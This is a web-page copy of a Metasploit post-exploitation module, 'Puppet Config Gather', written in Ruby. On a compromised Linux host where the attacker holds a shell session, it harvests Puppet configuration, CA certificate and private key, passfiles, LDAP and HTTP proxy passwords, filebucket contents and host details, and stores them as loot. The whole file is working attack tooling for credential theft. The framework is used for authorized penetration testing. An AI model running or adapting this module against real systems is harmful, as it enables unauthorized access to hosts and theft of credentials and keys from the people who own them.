CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/puppet.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Puppet Config Gather',
15
'Description' => %q{
16
This module will grab Puppet config files, credentials, host information, and file buckets.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [
20
'h00die', # Metasploit Module
21
],
22
'Platform' => ['linux', 'unix'],
23
'SessionTypes' => ['shell', 'meterpreter'],
24
'References' => [
25
['URL', 'https://github.com/Tikam02/DevOps-Guide/blob/master/Infrastructure-provisioning/Puppet/puppet-commands.md']
26
],
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'Reliability' => [],
30
'SideEffects' => []
31
}
32
)
33
)
34
35
register_options(
36
[
37
OptBool.new('FILEBUCKET', [false, 'Gather files from filebucket', true]),
38
OptString.new('PUPPET', [false, 'Puppet executable location']),
39
OptString.new('FACTER', [false, 'Facter executable location'])
40
], self.class
41
)
42
end
43
44
def puppet_exe
45
return @puppet if @puppet
46
47
['/opt/puppetlabs/puppet/bin/puppet', datastore['PUPPET']].each do |exec|
48
next unless file?(exec)
49
next unless executable?(exec)
50
51
@puppet = exec
52
end
53
@puppet
54
end
55
56
def facter_exe
57
return @facter if @facter
58
59
['/opt/puppetlabs/puppet/bin/facter', datastore['FACTER']].each do |exec|
60
next unless file?(exec)
61
next unless executable?(exec)
62
63
@facter = exec
64
end
65
@facter
66
end
67
68
def filebucket
69
server_list = cmd_exec("#{puppet_exe} filebucket server-list")
70
71
print_good("Puppet Filebucket Servers: #{serverlist}") unless server_list.blank?
72
73
file_list = cmd_exec("#{puppet_exe} filebucket -l list")
74
return if file_list.include? 'File not found'
75
76
columns = ['Hash', 'Date', 'Filename', 'Loot location']
77
table = Rex::Text::Table.new('Header' => 'Puppet Filebucket Files', 'Indent' => 1, 'Columns' => columns)
78
file_list.lines.each do |file|
79
file = file.split(' ')
80
vprint_status("Retrieving filebucket contents: #{file[3]}")
81
file_content = cmd_exec("puppet filebucket -l get #{file[0]}")
82
loot = store_loot('puppet.filebucket', 'text/plain', session, file_content, file[3].split('/').last, 'Puppet filebucket stored file')
83
table << [file[0], "#{file[1]} #{file[2]}", file[3], loot]
84
end
85
print_good(table.to_s) unless table.rows.empty?
86
end
87
88
def get_config
89
# we prefer to run `puppet config print` over getting puppet.conf since it contains env items as well merged in
90
config = cmd_exec("#{puppet_exe} config print")
91
loot = store_loot('puppet.conf', 'text/plain', session, config, 'puppet.conf', 'Puppet config file')
92
print_good("Stored puppet config to: #{loot}")
93
config_dict = {}
94
config.lines.each do |line|
95
line = line.split('=')
96
key = line[0].strip
97
value = line[1..].join('=').strip
98
config_dict[key] = value
99
end
100
101
columns = ['Parameter', 'Value', 'Loot Location']
102
table = Rex::Text::Table.new('Header' => 'Puppet Configuration', 'Indent' => 1, 'Columns' => columns)
103
104
# generic things we just want to print
105
['server', 'user'].each do |field|
106
next unless config_dict.key? field
107
108
table << [field, config_dict[field], '']
109
end
110
111
# files we want to retrieve
112
['cacert', 'cakey', 'passfile'].each do |field|
113
next unless config_dict.key? field
114
115
unless file?(config_dict[field])
116
table << [field, config_dict[field], '']
117
break
118
end
119
120
content = read_file(config_dict[field])
121
loot = store_loot(config_dict[field], 'text/plain', session, content, config_dict[field])
122
table << [field, config_dict[field], loot]
123
end
124
125
# http proxy things, skip if password wasn't set as theres nothing of value there. not set is 'none' for these fields
126
if config_dict.key?('http_proxy_password') && config_dict['http_proxy_password'] != 'none'
127
['http_proxy_host', 'http_proxy_password', 'http_proxy_port', 'http_proxy_user'].each do |field|
128
table << [field, config_dict[field], '']
129
end
130
end
131
132
# ldap things, skip if password wasn't set as theres nothing of value there.
133
if config_dict.key?('ldappassword') && !config_dict['ldappassword'].blank?
134
['ldappassword', 'ldapuser', 'ldapserver', 'ldapport', 'ldapbase', 'ldapclassattrs', 'ldapparentattr', 'ldapstackedattrs', 'ldapstring'].each do |field|
135
table << [field, config_dict[field], '']
136
end
137
end
138
print_good(table.to_s) unless table.rows.empty?
139
end
140
141
def puppet_modules
142
columns = ['Module', 'Version']
143
table = Rex::Text::Table.new('Header' => 'Puppet Modules', 'Indent' => 1, 'Columns' => columns)
144
mods = cmd_exec("#{puppet_exe} module list")
145
loot = store_loot('puppet.modules', 'text/plain', session, mods, 'Puppet modules list')
146
print_good("Stored facter to: #{loot}")
147
mods.lines.each do |line|
148
next if line.start_with? '/' # showing paths of where things are installed to like '/etc/puppetlabs/code/modules (no modules installed)'
149
150
mod = line.split(' ')
151
mod_name = mod[1]
152
mod_version = mod[2]
153
mod_version = mod_version.gsub('(', '').gsub(')', '')
154
table << [mod_name, mod_version]
155
end
156
print_good(table.to_s) unless table.rows.empty?
157
end
158
159
def facter
160
facter_json = cmd_exec("#{facter_exe} -j")
161
facter_json = JSON.parse(facter_json)
162
loot = store_loot('puppet.facter', 'text/plain', session, facter_json, 'puppet.facter', 'Puppet facter')
163
print_good("Stored facter to: #{loot}")
164
# There is a LOT of data here, it's probably a good idea to just fill out the system details that go in hosts
165
host_info = { info: 'Running Puppet software configuration management tool' }
166
host_info[:os_name] = facter_json.dig('os', 'distro', 'description') unless facter_json.dig('os', 'distro', 'description').nil?
167
host_info[:os_sp] = facter_json.dig('os', 'distro', 'release', 'full') unless facter_json.dig('os', 'distro', 'release', 'full').nil?
168
host_info[:arch] = facter_json.dig('os', 'arch', 'hardware') unless facter_json.dig('os', 'arch', 'hardware').nil?
169
host_info[:name] = facter_json.dig('networking', 'fqdn') unless facter_json.dig('networking', 'fqdn').nil?
170
host_info[:virtual_host] = facter_json['virtual'] unless facter_json['virtual'].nil? || facter_json['virtual'] == 'physical'
171
facter_json.dig('networking', 'interfaces').each do |interface|
172
# this is a 2 item array, interface name is item 0 (eth0), and a hash is the other info
173
interface = interface[1]
174
next unless interface['operational_state'] == 'up'
175
176
host_info[:mac] = interface['mac'] unless interface['mac'].nil?
177
host_info[:host] = interface['ip'] unless interface['ip'].nil?
178
report_host(host_info)
179
end
180
end
181
182
def puppet_packages
183
packages = cmd_exec("#{puppet_exe} resource package")
184
loot = store_loot('puppet.packages', 'text/plain', session, packages, 'puppet.packages', 'Puppet packages')
185
print_good("Stored packages to: #{loot}")
186
columns = ['Package', 'Version', 'Source']
187
table = Rex::Text::Table.new('Header' => 'Puppet Packages', 'Indent' => 1, 'Columns' => columns)
188
# this is in puppet DSL, and likely to change. However here's a regex with test: https://rubular.com/r/1sGTiW2mBkislO
189
regex = /package\s*\{\s*'([^']+)':\s*ensure\s*=>\s*\[?'([^']+?)'\]?+,\s+.+?(?:.*?)\s*+provider\s+=>\s+'([^']+)',\n}/
190
matches = packages.scan(regex)
191
192
matches.each do |match|
193
table << [match[0], match[1], match[2]]
194
end
195
print_good(table.to_s) unless table.rows.empty?
196
end
197
198
def run
199
fail_with(Failure::NotFound, 'Puppet executable not found') if puppet_exe.nil?
200
get_config
201
puppet_modules
202
filebucket if datastore['FILEBUCKET']
203
facter
204
puppet_packages
205
end
206
end
207
208